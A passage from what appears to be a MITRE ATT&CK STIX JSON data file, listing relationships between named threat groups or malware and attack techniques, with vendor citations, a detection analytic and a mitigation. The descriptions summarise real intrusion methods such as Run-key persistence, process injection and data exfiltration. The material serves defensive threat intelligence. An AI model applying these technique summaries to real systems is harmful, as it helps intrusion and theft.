2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--614aa853-04f5-40eb-a504-773a3a32d045","created":"2023-03-24T17:57:58.126Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T17:57:58.126Z","description":"Monitor for the creation of WMI Objects and values that may highlight storage of malicious data such as commands or payloads.","relationship_type":"detects","source_ref":"x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--614b4bf0-8a57-401f-a018-8217146c27d2","type":"relationship","created":"2020-11-25T22:46:47.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.280Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) conducted technical reconnaissance of the Parliament of Georgia's official internet domain prior to its 2019 attack.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d","type":"relationship","created":"2017-05-31T21:33:27.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-12T20:46:32.071Z","description":"(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--614da3bc-3be9-408c-8154-8a121d4b8895","created":"2023-09-26T20:51:28.487Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T20:51:28.487Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) has dropped a recent-files stealer plugin to `C:\\Users\\Public\\WinSrcNT\\It11.exe`.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6157e239-92a8-427f-ba9b-2f06f5b03f12","type":"relationship","created":"2020-11-30T17:38:40.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:38:40.968Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) determines if specific antivirus programs are running on an infected host machine.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6160a359-35cc-4bbe-ac29-500f2751ed4b","created":"2019-09-23T22:53:30.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.521Z","description":"[APT41](https://attack.mitre.org/groups/G0096) sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--616bf309-ed87-4573-8640-416e6f05285d","created":"2021-04-16T21:44:38.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"},{"source_name":"Secureworks IRON RITUAL USAID Phish May 2021","description":"Secureworks CTU. (2021, May 28). USAID-Themed Phishing Campaign Leverages U.S. Elections Lure. Retrieved February 24, 2022.","url":"https://www.secureworks.com/blog/usaid-themed-phishing-campaign-leverages-us-elections-lure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:13:14.049Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to click on a malicious link.(Citation: MSTIC NOBELIUM May 2021)(Citation: Secureworks IRON RITUAL USAID Phish May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a","type":"relationship","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","source_name":"Dell Lateral Movement"}],"modified":"2019-05-30T18:05:32.850Z","description":"[APT18](https://attack.mitre.org/groups/G0026) actors deleted tools and batch files from victim systems.(Citation: Dell Lateral Movement)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6176ae5b-cd96-4b15-8539-5fb6e230fd5d","type":"relationship","created":"2020-06-01T15:28:39.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-10-22T01:34:58.105Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has embedded a \"vmdetect.exe\" executable to identify virtual machines at the beginning of execution.(Citation: Medium Metamorfo Apr 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--617a2fc2-b58f-4074-bef7-afce7615c6f3","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:37:40.512Z","description":"Monitor for changes made to the .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources. \n\nAnalytic 1 - Modifications to files known to be used for forced authentication attacks.\n\n(index=security sourcetype=\"WinEventLog:Security\" EventCode=4663) | where match(ObjectName, \"(?i)\\\\(.*\\\\.)?(lnk|scf|url|doc|dot|xls|ppt|pdf|html)$\")\n| where match(ObjectName, \"(?i)(desktop|public|downloads|temp|cache|start menu|startup)\")","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--617ce344-2317-433a-b283-8e67b90b00f7","type":"relationship","created":"2019-04-23T14:59:04.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2020-03-30T02:37:23.877Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains a module for compressing data using ZIP.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--617db1e2-ad66-46b2-8dfc-02094a861754","created":"2024-07-01T20:09:42.890Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:09:42.890Z","description":"Consider implementing data retention policies to automate periodically archiving and/or deleting data that is no longer needed. ","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--617fe29d-ac48-4cd0-ae8c-19cf7cfdbedd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T01:57:57.449Z","description":"The \"SCOUT\" variant of [NETEAGLE](https://attack.mitre.org/software/S0034) achieves persistence by adding itself to the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61805115-3044-4ed7-91f4-074b2a073e02","type":"relationship","created":"2020-06-15T19:06:44.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forbes Dyre May 2017","url":"https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a","description":"Brewster, T. (2017, May 4). https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a. Retrieved June 15, 2020."},{"source_name":"CrowdStrike Wizard Spider March 2019","url":"https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/","description":"Feeley, B. and Stone-Gross, B. (2019, March 20). New Evidence Proves Ongoing WIZARD SPIDER / LUNAR SPIDER Collaboration. Retrieved June 15, 2020."},{"source_name":"Malwarebytes TrickBot Sep 2019","url":"https://blog.malwarebytes.com/trojans/2019/09/trickbot-adds-new-trick-to-its-arsenal-tampering-with-trusted-texts/","description":"Umawing, J. (2019, September 3). TrickBot adds new trick to its arsenal: tampering with trusted texts. Retrieved June 15, 2020."}],"modified":"2020-06-16T19:04:09.745Z","description":"(Citation: Forbes Dyre May 2017)(Citation: CrowdStrike Wizard Spider March 2019)(Citation: Malwarebytes TrickBot Sep 2019)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61827309-9071-416b-aedf-7f82f224db2e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T01:57:57.404Z","description":"[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request. [NETEAGLE](https://attack.mitre.org/software/S0034) will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6184b127-47cf-43fc-880b-890554d9cc9a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.748Z","description":"[Rover](https://attack.mitre.org/software/S0090) takes screenshots of the compromised system's desktop and saves them to C:\\system\\screenshot.bmp for exfiltration every 60 minutes.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61869a8e-d6da-478a-b770-47f97beae8b4","created":"2024-08-15T21:59:43.124Z","revoked":false,"external_references":[{"source_name":"NCSC CISA Cyclops Blink Advisory February 2022","description":"NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.","url":"https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T21:59:43.124Z","description":"[VPNFilter](https://attack.mitre.org/software/S1010) is associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) operations based on reporting on [VPNFilter](https://attack.mitre.org/software/S1010) replacement software, [Cyclops Blink](https://attack.mitre.org/software/S0687).(Citation: NCSC CISA Cyclops Blink Advisory February 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--6108f800-10b8-4090-944e-be579f01263d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6188b02d-e7cb-417a-9093-e2d2eea5883f","type":"relationship","created":"2021-02-10T19:41:52.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:41:52.687Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can run commands on the compromised asset with CMD functions.(Citation: ClearSky Lebanese Cedar Jan 2021)","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6189bf91-d755-47e6-9f3c-dd621e3f64fd","type":"relationship","created":"2021-01-06T15:56:49.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."}],"modified":"2021-01-06T15:56:49.613Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) had commands to enumerate files and directories.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--618cfee6-a12a-4e17-b66b-cbd965a08357","type":"relationship","created":"2020-03-19T15:12:13.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T15:12:13.292Z","relationship_type":"revoked-by","source_ref":"attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427","target_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--618d4835-6022-46df-bee1-38fcb97ffb91","created":"2019-06-17T18:49:30.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.263Z","description":"[YAHOYAH](https://attack.mitre.org/software/S0388) checks for antimalware solution processes on the system.(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61929ceb-3933-46f1-a11b-4d67482b1d59","type":"relationship","created":"2021-01-25T13:58:25.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-04-26T14:23:04.020Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can collect network and active connection information.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6193189a-f24c-4680-9a20-d191f42b9c97","type":"relationship","created":"2020-12-07T21:06:57.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T21:06:57.763Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has exfiltrated stolen data to Dropbox.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--61952f05-92a3-41e0-93c4-d7486a927ece","created":"2022-06-13T17:32:15.364Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can update its configuration to use a different C2 server.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-13T17:32:15.364Z","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61986499-5358-4edc-aab1-6a13ae0f7c06","created":"2019-01-29T21:27:25.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.989Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--619d3ad7-82f3-40c0-bce6-92fe36181425","created":"2022-06-09T20:59:50.284Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has written its payload into a newly-created `EhStorAuthn.exe` process using `ZwWriteVirtualMemory` and executed it using `NtQueueApcThread` and `ZwAlertResumeThread`.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T20:59:50.284Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61a3d7e0-3663-4fb7-9bb3-20a73257f27d","type":"relationship","created":"2021-06-21T18:07:57.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 